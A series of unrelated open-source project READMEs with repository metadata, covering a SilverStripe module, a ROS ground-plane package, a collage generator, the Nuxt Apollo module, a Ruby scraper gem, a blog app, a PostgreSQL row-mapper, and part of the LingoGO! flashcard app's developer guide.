### Translating
This module makes translates all strings via [Transifex](https://www.transifex.com/projects/p/silverstripe-onepage/).

## Todo
  * --scroll to slide (important!)-- see tip above
  * --redirect slide page to OnePageHolder#Slide--
  * --use separate templates for page types to include as slide--
  * --i18n--
  * create unit tests
  * use focuspoint module for background images
  * refactor and improve

## Licence
[MIT Licence](LICENSE)

repository: wernerkrauss/silverstripe-onepage

gha_language: PHP

repo_name: wernerkrauss/silverstripe-onepage


text:
## Ground Plane
This package estimates the ground plane using depth images.

It can also be used with a fixed ground plane which is just rotated according to the ptu tilt angle. In this case the optimal ground plane is assumed and represented by the normal vector [0,-1,0] and the distance of 1.7 (Distance of the origin of the camera coordinated system to the plane in meters). These values can be changed in the config/fixed_gp.yaml file. As you can see this assumes to be used with the head_xtion and is therefore exclusive to the robot but it also prevents failurs due to wrongly estimated planes in cases where the camera can't see the ground. All this was necessary because the camera on the head of the robot is rather high and therefore has a high risk of not seeing the actual ground plane. At the current state of development it is advised to use the fixed plane set-up when running it on the robot.

### Run
Parameters for estimation:
* `queue_size` _default = 5_: The synchronisation queue size
* `config_file` _default = ""_: The global config file. Can be found in rwth_ground_plane/config
* `camera_namespace` _default = /head_xtion_: The camera namespace.
* `ground_plane` _default = /ground_plane_: The estimated ground plane

Parameters for the fixed ground plane:
* `param_file` _default = ""_: The paramter file describing the fixed plane. Can be found in rwth_ground_plane/config/fixed_gp.yaml
* `ptu_state` _default = /ptu/state_: The current angles of the ptu
* `ground_plane` _default = /ground_plane_: The rotated ground plane

Parameters for the really fixed ground plane:
* `param_file` _default = ""_: The paramter file describing the fixed plane. Can be found in rwth_ground_plane/config/fixed_gp.yaml
* `ground_plane` _default = /ground_plane_: The rotated ground plane

rosrun:
```
rosrun rwth_ground_plane ground_plane_estimated [_parameter_name:=value]
```
or
```
rosrun rwth_ground_plane ground_plane_fixed [_parameter_name:=value]
```
or
```
rosrun rwth_ground_plane ground_plane_really_fixed [_parameter_name:=value]
```

roslaunch:
```
roslaunch rwth_ground_plane ground_plane_estimated.launch [parameter_name:=value]
```
or
```
roslaunch rwth_ground_plane ground_plane_fixed.launch [parameter_name:=value]
```
or
```
roslaunch rwth_ground_plane ground_plane_really_fixed.launch [parameter_name:=value]
```


text:
# Collage

A generator for photo collages that appear do be dropped on a
stack. It takes a list of names of image files and/or directories
with image files which are then compositied into a collage image
and saved to disk.

![collage.jpg](collage.jpg)

## Installation

Clone the repository and then run

```
$ GO111MODULES=1 go build
```

## Usage

```
collage [flags] FILE/DIR [FILE/DIR] ...

Flags:
  -b, --border float       size of border in percent of embedded image size (default 3)
  -d, --dropshadow float   size of dropshadow in percent of embedded image size (default 3)
  -e, --embedsize float    size of embedded image in percent of target canvas size (default 10)
  -h, --help               help for collage
  -a, --max-angle int      maximum rotation angle (default 60)
  -n, --number int         maximum number of photos to use (0 means 'use all') (default 150)
  -o, --output string      resulting image file name (default "collage.jpg")
  -q, --quality int        JPEG quality parameter for resulting image (default 90)
  -r, --recursively        scan directories recursively
  -s, --size string        target canvas size in WIDTHxHEIGHT (default "1920x1080")
```

repository: fawick/collage

gha_language: Go

repo_name: fawick/collage


text:
# Apollo inside of NuxtJS

* Nuxt.js module to use [vue-apollo](https://github.com/Akryum/vue-apollo)
* uses internally same approach as [vue-cli-plugin-apollo](https://github.com/Akryum/vue-cli-plugin-apollo)

[![npm version](https://img.shields.io/npm/v/@nuxtjs/apollo.svg)](https://www.npmjs.com/package/@nuxtjs/apollo)
[![license](https://img.shields.io/github/license/nuxt-community/apollo-module.svg)](https://github.com/nuxt-community/apollo-module/blob/master/LICENSE)

## Warning

This version requires Vue 2.6+ with serverPrefetch support. For example:

```bash
npm install --save<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>```
Sometime you may need to remove/rebuild package-lock.json/yarn.lock to make it work.

## Setup

Install apollo module:

```bash
npm install --save @nuxtjs/apollo
# if you are using *.gql or *.graphql files add graphql-tag to your dependencies
npm install --save graphql-tag
```

Add `@nuxtjs/apollo` to `modules` section of `nuxt.config.js`

```bash
- clientConfigs: `Object` Config passed to ApolloClient
  - default: `Object` // keep in mind that the object will be stringified!
  # alternative
  - default: `Path` // use this to have more control over the options
  - otherClient: `Object` (Optional)
```
```js
{
  // Add apollo module
  modules: ['@nuxtjs/apollo'],

  // Give apollo module options
  apollo: {
    tokenName: 'yourApolloTokenName', // optional, default: apollo-token
    tokenExpires: 10, // optional, default: 7 (days)
    includeNodeModules: true, // optional, default: false (this includes graphql-tag for node_modules folder)
    authenticationType: 'Basic', // optional, default: 'Bearer'
    // optional
    errorHandler (error) {
      console.log('%cError', 'background: red; color: white; padding: 2px 4px; border-radius: 3px; font-weight: bold;', error.message)
    },
    // required
    clientConfigs: {
      default: {
        // required
        httpEndpoint: 'http://localhost:4000',
        // optional
        // See https://www.apollographql.com/docs/link/links/http.html#options
        httpLinkOptions: {
          credentials: 'same-origin'
        },
        // You can use `wss` for secure connection (recommended in production)
        // Use `null` to disable subscriptions
        wsEndpoint: 'ws://localhost:4000', // optional
        // LocalStorage token
        tokenName: 'apollo-token', // optional
        // Enable Automatic Query persisting with Apollo Engine
        persisting: false, // Optional
        // Use websockets for everything (no HTTP)
        // You need to pass a `wsEndpoint` for this to work
        websocketsOnly: false // Optional
      },
      test: {
        httpEndpoint: 'http://localhost:5000',
        wsEndpoint: 'ws://localhost:5000',
        tokenName: 'apollo-token'
      },
      // alternative: user path to config which returns exact same config options
      test2: '~/plugins/my-alternative-apollo-config.js'
    }
  }
}
```

```js
// plugins/my-alternative-apollo-config.js
export default function(context){
  return {
    httpEndpoint: 'http://localhost:4000/graphql-alt',
    getAuth:() => 'Bearer my-static-token' // use this method to overwrite functions
  }
}
```

## Options
You can either (in a simple setup) just add an object as described above. If you need to overwrite cache or the default `getAuth()` function then use a path to your config file which returns the client config options.
### clientConfigs `Option`: required
Sets up the apollo client endpoints. All available options for each endpoint you find [here](https://github.com/Akryum/vue-cli-plugin-apollo/blob/master/graphql-client/src/index.js#L15)

Check out [official vue-apollo-cli](https://github.com/Akryum/vue-cli-plugin-apollo) where possible usecases are presented.

#### clientConfigs.default `Object`: required

#### clientConfigs.<your-additional-client-key> `Object|Path`: optional

### tokenName `String`: optional, default: 'apollo-token'

Token name for the cookie which will be set in case of authentication. You can also provide an option `tokenName` in each of your `clientConfigs` to overwrite the default. When each request is made, the value of whatever is in this cooke will be sent in an "Authorization" HTTP header as specified by `authenticationType` below.

### authenticationType `String`: optional, default: 'Bearer'

Sets the authentication type for any authorized request. Modify this if the authentication type your GraphQL API requires is not the default `Bearer`. All requests will then be sent with the appropriate HTTP header in the format: "Authorization: <authenticationType> <your token taken from user cookies>" (Eg. `Authorization: Bearer abc123`).

If your backend requires an Authorization header in the format "Authorization: <your token>", without any prefix, then you should set this value to an empty string.

### includeNodeModules `Boolean`: optional, default: false

In case you use `*.gql` files inside of `node_module` folder you can enable the `graphql-tag/loader` to parse the files for you.

## Usage

Once the setup is completed you have a successfully enabled `vue-apollo` in your project. Checkout [Official example](https://github.com/nuxt/nuxt.js/tree/dev/examples/vue-apollo) and [vue-apollo](https://github.com/Akryum/vue-apollo) how to use `vue-apollo` inside your application code

## Authentication

You have following methods for authentication available:
```js
 // set your graphql-token
 this.$apolloHelpers.onLogin(token /* if not default you can pass in client as second argument, and you can set custom token expiration on third argument */)
 // unset your graphql-token
 this.$apolloHelpers.onLogout(/* if not default you can pass in client as second argument */)
 // get your current token (we persist token in a cookie)
 this.$apolloHelpers.getToken(/* you can provide named tokenName if not 'apollo-token' */)
```
Check out the [full example](https://github.com/nuxt-community/apollo-module/tree/master/test/fixture)

For permanent authorization tokens the setup just provide `getAuth` function for each of your endpoint configurations:
```js
  apollo: {
    clientConfigs: {
      default: {
        httpEndpoint: 'https://graphql.datocms.com',
        getAuth: () => 'Bearer your_token_string'
      },
    }
  },
```

#### User login
```js
methods:{
  async onSubmit () {
    const credentials = this.credentials
    try {
        const res = await this.$apollo.mutate({
            mutation: authenticateUserGql,
            variables: credentials
        }).then(({data}) => data && data.authenticateUser)
        await this.$apolloHelpers.onLogin(res.token)
    } catch (e) {
        console.error(e)
    }
  },
}
```
#### User logout
```js
methods:{
  async onLogout () {
    await this.$apolloHelpers.onLogout()
  },
}
```

#### getToken
```js
// middleware/isAuth.js
  export default function ({app, error}) {
    const hasToken = !!app.$apolloHelpers.getToken()
    if (!hasToken) {
        error({errorCode:503, message:'You are not allowed to see this'})
    }
}
```

#### Examples to access the defaultClient of your apolloProvider
##### Vuex actions
```js
export default {
  actions: {
    foo (store, payload) {
      let client = this.app.apolloProvider.defaultClient
    }
  }
}
```

##### asyncData/fetch method of page component
```js
export default {
  asyncData (context) {
    let client = context.app.apolloProvider.defaultClient
  }
}
```

##### nuxtServerInit
```js
export default {
  nuxtServerInit (store, context) {
    let client = context.app.apolloProvider.defaultClient
  }
}
```

##### access client or call mutations and queries of any method inside of component
```js
export default {
  methods:{
    foo(){
      // receive the associated Apollo client
      const client = this.$apollo.getClient()

      // most likely you would call mutations like following:
      this.$apollo.mutate({mutation, variables})

      // but you could also call queries like this:
      this.$apollo.query({query, variables})
        .then(({ data }) => {
          // do what you want with data
        })
    }
  }
}
```

Once you get the client, you can access its methods and properties. See [API Reference](https://akryum.github.io/vue-apollo/api/dollar-apollo.html)

#### Smart queries on any component
```js
export default {
  apollo: {
    foo: {
      query: fooGql,
      variables () {
        return {
          myVar: this.myVar
        }
      }
    }
  }
}
```
See [vue-apollo documentation](https://akryum.github.io/vue-apollo/guide/apollo/queries.html) for more information on smart queries

#### Add GQL file recognition on node_modules
```js
  apollo: {
    clientConfigs: {
      default: '~/apollo/client-configs/default.js'
    },
    includeNodeModules: true
  }
```

## Upgrade

### Upgrade Guide apollo-module v3 => v4

Version 4 of this module leaves you with zero configuration. This means we use the best possible approach available from `vue-cli-plugin-apollo` and the same configuration behaviour. This means you don't need to wire up your own configuration, simply pass

Edit your configuration as following:
```js
// nuxt.config.js
apollo:{
 clientConfigs:{
  default:{
    httpEndpoint: YOUR_ENDPOINT,
    wsEndpoint: YOUR_WS_ENDPOINT
  }
 }
}
```

### Upgrade Guide apollo-client v1 => v2

Version 3 of this module is using apollo-client 2.x. You need to make sure to update all your middle/afterware according to the upgrade guide of apollo-client. Check this source for a reference: https://github.com/apollographql/apollo-client/blob/master/Upgrade.md

## Troubleshooting

### Use of *.gql files

To use *gql|graphql files you need to add following dependency to your project:
```
  yarn add graphql-tag
  # alternative
  npm install graphql-tag
```

### Proxies

CORS errors are most often resolved with proxies.  If you see a Cross-Origin-Request error in your client side console look into setting up a proxy.  Check out https://github.com/nuxt-community/proxy-module for quick and straight forward setup.

###  ctx.req.session - req is undefined

This is just a placeholder.  You'll want to replace it with whatever storage mechanism you choose to store your token.
Here is an example using local storage : https://github.com/Akryum/vue-apollo/issues/144

## Contribute and wire up setup

Setup the required fields in .env file in root folder
```
// .env
HTTP_ENDPOINT=https://your-endpoint
WS_ENDPOINT=wss://your-endpoint
```

In `index.vue` the login process requires that the gql endpoint enables a mutation which returns a valid token:
```gql
mutation authenticateUser($email:String!,$password:String!){
    authenticateUser(email: $email, password: $password) {
        token
        id
    }
}
```

If your gql backend is prepared start running nuxt as follow
```
# npm install
# npm run dev
```

repository: Gomah/apollo-module

gha_language: JavaScript

repo_name: Gomah/apollo-module


text:
# WirecutterDailyHeadline

Welcome to WirecutterDailyHeadline! This basic CLI allows you, the user, to read The Wirecutter's
headline of the day from the comfort of your Terminal!  Light readers can quickly skim through a summary of the article, while more diehard fans can delve into the nitty-gritty and peruse the
extensive research that The Wirecutter puts into writing each review.  Want to see pictures of, or perhaps buy one of the products?  Or maybe you simply want to read more product reviews from The Wirecutter?  WirecutterDailyHeadline can open the article in your default Internet browser, where you can fall down a Wirecutter Hole at your leisure!  (I take no responsibility for any spontaneous purchases you make while doing so.)

All data is scraped directly from The Wirecutter's website using Nokogiri.

(I am not affiliated with The Wirecutter in any way; I'm merely a fan of their work who needed to build a gem for a school assignment, but I plan to build it out as I learn more!)

UPDATED 5/23/18 - I've made some minor changes here and there to catch missing data, but for a cleaned up and refactored version of this gem, check out the "flatiron-assessment" branch.  It runs exactly the same, but with fewer lines of code!

## Installation

Add this line to your application's Gemfile:

```ruby
gem 'wirecutter_daily_headline'
```

And then execute:

    $ bundle

Or install it yourself as:

    $ gem install wirecutter_daily_headline

## Development

After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.

To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).

## Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/icvlahovic/wirecutter_daily_headline. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.

## License

The gem is available as open source under the terms of the [MIT License](https://opensource.org/licenses/MIT).

## Code of Conduct

Everyone interacting in the WirecutterDailyHeadline project’s codebases, issue trackers, chat rooms and mailing lists is expected to follow the [code of conduct](https://github.com/icvlahovic/wirecutter_daily_headline/blob/master/CODE_OF_CONDUCT.md).
# wirecutter-daily-headline

repository: icvlahovic/wirecutter-daily-headline

repo_name: icvlahovic/wirecutter-daily-headline


text:
# tech_blog

  # Table of contents
  * [Description](#description)
  * [Installation](#installation)
  * [Usage](#usage)
  * [User Story](#userstory)
  * [License](#license)

  ## Description
  This is a CRUD web application that takes the form of a blog website. Users can create and sign into an account, view other people's posts, comment on them, and create their own posts as well.
  ## Installation
  Click the GitHub link provided above to the APP REPO. Click on the green button that says Clone or Download and Choose how you would like to download: using the SSH/HTTPS keys or download the zip file. If using SSH/HTTPS Key: You will copy the link shown and type git clone paste URL here. If using Download ZIP: Click on Download Zip. Locate the file and double-click it to unzip the file. Locate the unzipped folder and open it

  ## Usage
  There are two ways your can run this APP. One is to go to the deployed site. Another is to run it on your local machine through a localhost PORT. First, you need terminal (mac: pre-installed) or gitbash (pc: must be installed). You also need to download and install node.js and npm or yarn package manager. Open the cloned REPO in your favorite code editor, and then in terminal, enter the command “ npm i “ or “yarn add” to install the dependencies. Make sure to create a .env file on the project root, and input your own Mysql Workbench config information (see the root file .env_example for samples). Now you are ready to start using the app by entering “npm start” on your terminal or gitbash.

  ## User Story
    AS A developer who writes about tech
    I WANT a CMS-style blog site
    SO THAT I can publish articles, blog posts, and my thoughts and opinions

  ## License
  [![MIT license](https://img.shields.io/badge/License-MIT-blue.svg)](https://lbesson.mit-license.org/)

  ## Questions
  For any questions do not hesitate to reach out.

  Contact me:
  On Github: github.com/Drabis

  Via Email<EMAIL_ADDRESS>


text:
# row-mapper

[![Build Status](https://travis-ci.org/TheProfs/row-mapper.svg?branch=master)](https://travis-ci.org/TheProfs/row-mapper)

Efficiently move/map/migrate rows between PostgreSQL database tables.

## Install

```bash
$ npm i row-mapper
```

## Use cases

### Perform minimal downtime data migrations/conversions

Successfully inserted/mapped rows are saved in a *cache*. When you start
processing again, the module will skip processed rows and continue from the
last known succesful row.

The cache allows restarting the process from the last-succesful-point after a
run.

In a production system where minimal downtime is mandated you would:

   1. Migrate/convert a sources table's rows to a target table.
   2. Stop read/writes to the source table temporarily - i.e put app in
      "maintenance mode".
   3. Re-run the row-mapper to transfer the new rows that were inserted by
      users while Step 1 was running.
      The cache ensures that only new rows
      are transferred from the source table.
   4. Drop source table & rename target table as source table.
   5. Re-enable read/writes to source table - i.e put app out of
      "maintenance mode".

The cache also ensures the conversion is fault-tolerant. If your system
crashes while processing, you can simply restart the conversion from the last
known succesful point.

### Convert big tables

You can convert huge tables. This module processes rows in *chunks*, so it
avoids a lot of network roundtrips whilst keeping memory usage low since it
doesn't load the whole table in-memory.

## Usage

Assume you have a table named `users` and you want to move all it's rows
to another table named `archived_users` - which could reside in another
database.

While you move the data you might also need to convert each row's data to
another format.

Here's how you would do it:

```javascript
'use strict'

const RowMapper = require('row-mapper')

const mapper = new RowMapper({
  // The source database
  source: {
    // DB settings
    client: 'pg',
    connection: {
      host: '<IP_ADDRESS>',
      user: 'foo',
      password: 'bar_pass',
      database: 'foo_db'
    },

    // The table to get data from.
    table: {
      name: 'users',
      primaryKey: 'id_user'
    }
  },

  /*
    The target database, where data would be moved to.
    - This can be the same as the source DB.
   */
  target: {
    // DB settings
    client: 'pg',
    connection: {
      host: '<IP_ADDRESS>',
      user: 'foo',
      password: 'foo_pass',
      database: 'bar_db'
    },

    // The table to insert data to.
    table: {
      name: 'archived_users',
      primaryKey: 'id_user',
      /*
        Name of the sequence associated with the primary key.
        - Upon succesful completion, this sequence will be
          set to the max value of the primary key column of the target table.
       */
      primaryKeySequence: 'user_id_user_seq'
    }
  },

  // How many rows to process, per chunk. Defaults to 2000.
  chunkSize: 3000,

  /*
    This mapper function will run for *each* row of the source table.
    - You can convert each row here before you insert it to your target table.
   */
  mapperFn: (row, i) => {
    return Object.assign(row, {
      archived_date: new Date(),
      archiver: 'John Doe'
    }
  }
})

// Then just run the mapper
mapper.start().then(result => {
  console.log('Success')
})
.catch(err => {
  console.error(err)
})
```

## Tests

```bash
$ npm test
```

**Important:** Tests are run against an in-memory SQLite database and do
not reset the table PK sequences after they are done.

## Authors

- [The Profs][the-profs-gh]

## License

MIT

[the-profs-gh]: https://github.com/TheProfs

repository: TheProfs/row-mapper

repo_name: TheProfs/row-mapper


text:
---
layout: page
title: Developer Guide
---
* Table of Contents
{:toc}

--------------------------------------------------------------------------------------------------------------------

## **About LingoGO!**

LingoGO! is a **desktop app** for **university students who use English as their first language** and are trying to **learn a
new language**, optimized for use via a **Command Line Interface (CLI)** while still having the **benefits of a
Graphical User Interface (GUI)**. With digital flashcards, LingoGO! can make learning faster and more convenient compared
to using traditional flashcards.

LingoGO! currently supports *all languages* that can be represented on a computer and has the following main features:
* Addition, deletion, and editing of flashcards.
* Finding and filtering of flashcards by keywords and conditions.
* Importing and exporting of flashcards to be shared with others.
* Testing a user's knowledge in a questionnaire of flashcards.

## **Purpose of the developer guide**

This developer guide is meant for budding software developers who want to learn more about LingoGO!'s architecture,
contribute to LingoGO!, or adapt LingoGO!'s code into a project of their own.

## **How to use the developer guide**

* A [*Table of Contents*](#) with clickable links can be found above to help with navigating across the user guide quickly.
* To set up your development environment, refer to the guide on [*Setting up and getting started*](#setting-up-getting-started).
* For a high level overview of the design of the application, refer to the [*Overall Design*](#overall-design) section.
* For a lower level, more in depth look at some of the features implemented in LingoGO!, refer to the [*Feature Implementation*](#feature-implementation) section.
* To better understand the documentation practices of the project, refer to the [*Documentation guide*](https://ay2122s1-cs2103t-t11-2.github.io/tp/Documentation.html).
* To better understand the testing methods used in the project, refer to the [*Testing guide*](https://ay2122s1-cs2103t-t11-2.github.io/tp/Testing.html).
* To better understand the tools available to you as a developer, refer to the [*Logging guide*](https://ay2122s1-cs2103t-t11-2.github.io/tp/Logging.html),
  [*Configuration guide*](https://ay2122s1-cs2103t-t11-2.github.io/tp/Configuration.html), and [*DevOps Guide*](https://ay2122s1-cs2103t-t11-2.github.io/tp/DevOps.html).
* For a list of requirements that LingoGO! has to meet/is planning to meet, refer to [*Appendix B: User Stories*](#appendix-b-user-stories),
  [*Appendix C: Use Cases*](#appendix-c-use-cases), and [*Appendix D: Non-Functional Requirements*](#appendix-d-non-functional-requirements).
* A [Glossary](#appendix-e-glossary) is provided to help explain certain important terms used in this guide.
* For instructions on manual testing, refer to the [*Manual testing*](#appendix-f-instructions-for-manual-testing) section.

## **Acknowledgements**

This project was originally adapted from [AddressBook-Level3 (AB3)](https://se-education.org/addressbook-level3/).

Third party libraries used:
* [OpenCSV](http://opencsv.sourceforge.net/) - Reading and writing CSV files.

--------------------------------------------------------------------------------------------------------------------

## **Setting up, getting started**

Refer to the guide [_Setting up and getting started_](SettingUp.md).

--------------------------------------------------------------------------------------------------------------------

## **Overall Design**

This section gives an overview of the software architecture of the system, and details on how each major component functions.

:bulb: **Tip:** The `.puml` files used to create diagrams in this document can be found in the [diagrams](https://github.com/AY2122S1-CS2103T-T11-2/tp/tree/master/docs/diagrams) folder. Refer to the [_PlantUML Tutorial_ at se-edu/guides](https://se-education.org/guides/tutorials/plantUml.html) to learn how to create and edit diagrams.

### Architecture

The *Architecture Diagram* below explains the high-level design of the app.

**Main components of the architecture**

Given below is a quick overview of the main components and how they interact with each other.

**`Main`** has two classes called [`Main`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/java/lingogo/Main.java)
and [`MainApp`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/java/lingogo/MainApp.java).
It has the following responsibilities:
* At app launch: Initializes the components in the correct sequence, and connects them up with each other.
* At shut down: Shuts down the components and invokes cleanup methods where necessary.

[**`Commons`**](#common-classes) represents a collection of classes used by multiple other components.

The rest of the app consists of **four components**.

* [**`UI`**](#ui-component): The UI of the App.
* [**`Logic`**](#logic-component): The command executor.
* [**`Model`**](#model-component): Holds the data of the App in memory.
* [**`Storage`**](#storage-component): Reads data from, and writes data to, the hard disk.

**How the architecture components interact with each other**

The *Sequence Diagram* below shows how the components interact with each other for the scenario where the user issues the command `delete 1`.

Each of the four main components (also shown in the diagram above):

* Defines its API in an interface with the same name as the component.
* Implements its functionality using a concrete `{Component Name}Manager` class, which follows the corresponding API interface in the previous point.

For example, the `Logic` component defines its API in the `Logic.java` interface and implements its functionality using
the `LogicManager.java` class, which follows the `Logic` interface. Other components interact with a given component
through its interface rather than the concrete class (reason: to prevent outside component's being coupled to the implementation of a component),

We can see an illustration of this in the (partial) *Class Diagram* below.

The sections below give more details on each component.

### UI component

**API** : [`Ui.java`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/java/lingogo/ui/Ui.java)

The `UI` component contains the logic for the graphical user interface (GUI) that users see.

An overall *Class Diagram* for this component can be found below:

![Structure of the UI Component](images/UiClassDiagram.png)

The `UI` component consists of a `MainWindow` that is made up of several sub-components (e.g.`CommandBox`, `ResultDisplay`, `FlashcardListPanel`,
`StatusBarFooter`, etc.) which come together to make up the entire user interface. All these, including the `MainWindow`, inherit from the abstract `UiPart` class which captures
the commonalities between classes that represent parts of the visible GUI.

The `UI` component uses the JavaFx UI framework. The layout of these UI parts are defined in matching `.fxml` files
that are in the `src/main/resources/view` folder. For example, the layout of the
[`MainWindow`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/java/lingogo/ui/MainWindow.java)
is specified in [`MainWindow.fxml`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/resources/view/MainWindow.fxml)

The `UI` component:

* Executes user commands using the `Logic` component.
* Listens for changes to `Model` data so that the UI can be updated with the modified data.
* Keeps a reference to the `Logic` component, because the `UI` relies on the `Logic` to execute commands.
* Depends on some classes in the `Model` component, as it displays `Flashcard` objects residing in the `Model`.

### Logic component

**API** : [`Logic.java`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/java/lingogo/logic/Logic.java)

The `Logic` component is responsible for the overall flow of the commands in LingoGO!, linking `UI`, `Model`, and `Storage` together.

A (partial) *Class Diagram* of the `Logic` component can be found below:

How the `Logic` component works:
1. When `Logic` is called upon to execute a command, it uses the `FlashcardAppParser` class to parse the user command.
1. This creates a `Command` object (more precisely, an object of one of its subclasses e.g., `AddCommand`) which is executed by the `LogicManager`.
1. The command can communicate with the `Model` when it is executed (e.g. to add a flashcard).
1. The result of the command execution is encapsulated in a `CommandResult` object which is returned by `Logic`.

The *Sequence Diagram* below illustrates the interactions within the `Logic` component for the `execute("delete 1")` API call.

![Interactions Inside the Logic Component for the `delete 1` Command](images/DeleteSequenceDiagram.png)

:information_source: **Note:** The lifeline for `DeleteCommandParser` should end at the destroy marker (X) but due to a limitation of PlantUML, the lifeline reaches the end of diagram.

Here are the other classes in `Logic` (omitted from the *Class Diagram* above) that are used for parsing a user command:

How the parsing works:
* When called upon to parse a user command, the `FlashcardAppParser` class creates an `XYZCommandParser` (`XYZ` is a placeholder for the specific command name e.g., `AddCommandParser`)
* `XYZCommandParser` uses the other classes shown above to parse the user command and create a `XYZCommand` object (e.g., `AddCommand`) which the `FlashcardAppParser` returns back as a `Command` object.
* All `XYZCommandParser` classes (e.g., `AddCommandParser`, `DeleteCommandParser`, ...) inherit from the `Parser` interface so that they can be treated similarly where possible (e.g., during testing).

### Model component

**API** : [`Model.java`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/java/lingogo/model/Model.java)

The `Model` component holds the data of LingoGO! in memory while the app is running.

A *Class Diagram* of the `Model` component can be found below:

The `Model` component:

* Stores the flashcard app data i.e., all `Flashcard` objects (which are contained in a `UniqueFlashcardList` object).
* Stores the currently 'selected' `Flashcard` objects (e.g., results of a search query) as a **separate filtered list** which is exposed as an unmodifiable `ObservableList<Flashcard>` that can be 'observed' e.g. the `UI` can be bound to this list so that the `UI` automatically updates when the data in the list changes.
* Stores the slideshow app data i.e., all `Flashcard` objects in the slideshow (which are contained in a `Slideshow` object).
* Stores a `UserPref` object that represents the user’s preferences. This is exposed as a `ReadOnlyUserPref` object.
* Does not depend on any of the other three components (as the `Model` represents data entities of the domain, it should make sense on its own without depending on other components).

### Storage component

**API** : [`Storage.java`](https://github.com/AY2122S1-CS2103T-T11-2/tp/blob/master/src/main/java/lingogo/storage/Storage.java)

The `Storage` component stores all of LingoGO!'s data so that it can be saved and retrieved in subsequent runs of the app.

A *Class Diagram* of the `Storage` component can be found below:

The `Storage` component:
* Can save both address book data and user preference data in JSON format, and read them back into corresponding objects.
* Inherits from both `FlashcardAppStorage` and `UserPrefStorage`, which means it can be treated as either one (if the functionality of only one is needed).
* Depends on some classes in the `Model` component (because the `Storage` component's job is to save/retrieve objects that belong to the `Model`).

### Common classes

Classes used by multiple components are in the `lingogo.commons` package.

--------------------------------------------------------------------------------------------------------------------

## **Feature Implementation**

This section describes some noteworthy details on how certain features are implemented.

### Filter feature

#### Description
The filter feature allows users to quickly select a group of flashcards to be shown in the displayed flashcards list
of the GUI. This effectively enables users to "prepare" a batch of flashcards for a test session. The command
accepts various conditions from the user to filter the flashcards with. (e.g. what type of
language, which card indexes).

#### Implementation

The filter feature is facilitated by `ModelManager`. It extends `Model` and implements `updateFilteredFlashcardList`
which returns an unmodifiable view of filtered flashcards in the GUI.

The filter feature also relies on a nested `FilterBuilder` class within `FilterCommand`. Multiple filters can be
given by the user in one command, however only one predicate (filter) can be accepted by
`Model::updateFilteredFlashList` to produce the filtered flashcards. `FilterBuilder` helps by combining multiple
predicates into a single predicate.

`FilterBuilder` is also a mutable class which allows processed user inputs to be directly set as variables within a
`FilterBuilder` instance. A mutable design is acceptable for `FilterBuilder` since it only has a one-time usage within
`FilterCommand`. Furthermore, set-variable methods in `FilterBuilder` reduces the need to add unnecessarily
complex constructors or factory methods when more types of filters are added.

The following sequence diagrams shows how the filter operation works:

![FilterSequenceDiagram](images/filterCommand/FilterSequenceDiagram.png)

:information_source: **Note:** The lifeline for `FilterCommand`,
`FilterCommandParser` and `FilterBuilder`should end at the destroy marker (X) but due to a limitation of PlantUML,
the lifeline reaches the end of diagram.

![SetFilterReferenceSequenceDiagram](images/filterCommand/SetFilterReferenceSequenceDiagram.png)

#### Design considerations

**Aspect: Number of filter conditions that users can input per command:**

* **Alternative 1 (current choice):** Accept multiple conditions per command.
  * Pros: More convenient for users, creating a better user experience.
  * Cons: Harder to implement and more difficult to test (due to large permutations of different conditions to
    consider).

* **Alternative 2:** Only accept one condition per command.
  * Pros: Easier to implement.
  * Cons: Less convenient for users.

**Aspect: Mutability of `FilterBuilder`**

* **Alternative 1 (current choice):** Make it mutable.
    * Pros: No need for complex constructors and easier for more types of filters to be added in the future.
    * Cons: Less defensive code and easier for bugs to arise due to programmer error.

* **Alternative 2:** Make it immutable.
    * Pros: More defensive code.
    * Cons: There is a need for multiple constructors to handle optional user inputs due to a lack of set-variable
      methods. Furthermore `FilterCommandParser` may become needlessly complex.

### Export feature

#### Implementation

The export feature is facilitated by `ModelManager`. It extends `Model` and implements `exportFlashcards`
which creates a CSV file in the `data` folder.

The export feature uses `CSVWriter` class which generates a CSV file
line by line in the file specified by the user.

The following activity diagram summarizes what happens when a user executes a new command:

![ExportSequenceDiagram](images/ExportSequenceDiagram.png)

### Import feature

#### Implementation

The import feature is facilitated by `ModelManager`. It extends `Model` and implements `importFlashcards`
which returns an updated view of the flashcards in the GUI.

The import feature uses `CSVReader` class to check if the given CSV file
is in the correct format line by line and uploads each card to the flashcard list
if there is no duplicate.

The following activity diagram summarizes what happens when a user executes a new command:

![ImportSequenceDiagram](images/ImportSequenceDiagram.png)

### Find feature

#### Implementation

The find feature is facilitated by `ModelManager`. It extends `Model` implements `updateFilteredFlashcardList` which returns an unmodifiable view of filtered flashcards in the GUI.

The find feature relies on the `FindCommandParser` and `PhraseContainsKeywordsPredicate`. Multiple keywords can be given for both english and foreign phrases. `FindCommandParser` uses `PhraseContainsKeywordsPredicate` to select flashcards that matches the keywords.

The following activity diagram summarizes what happens when a user executes a new command:

![FindSequenceDiagram](images/FindSequenceDiagram.png)

#### Design considerations

**Aspect: How to search in foreign language:**

* **Alternative 1 (current choice):** Allow non-full match
  * Pros: Will not miss out any related flashcards that is related to the keyword provided.
  * Cons: May output a lot more flashcards than the user's desired outcome.

* **Alternative 2:** Only allow full match
  * Pros: Only exact match will be output, user will only see flashcards that are exactly the keyword.
  * Cons: Too restrictive, will not output phrases that contains more than the keyword.

### List feature

#### Implementation

The list feature is facilitated by `ModelManager`. It extends `Model` and implements `updateFilteredFlashcardList`which returns an unmodifiable view of the flashcards in the GUI.

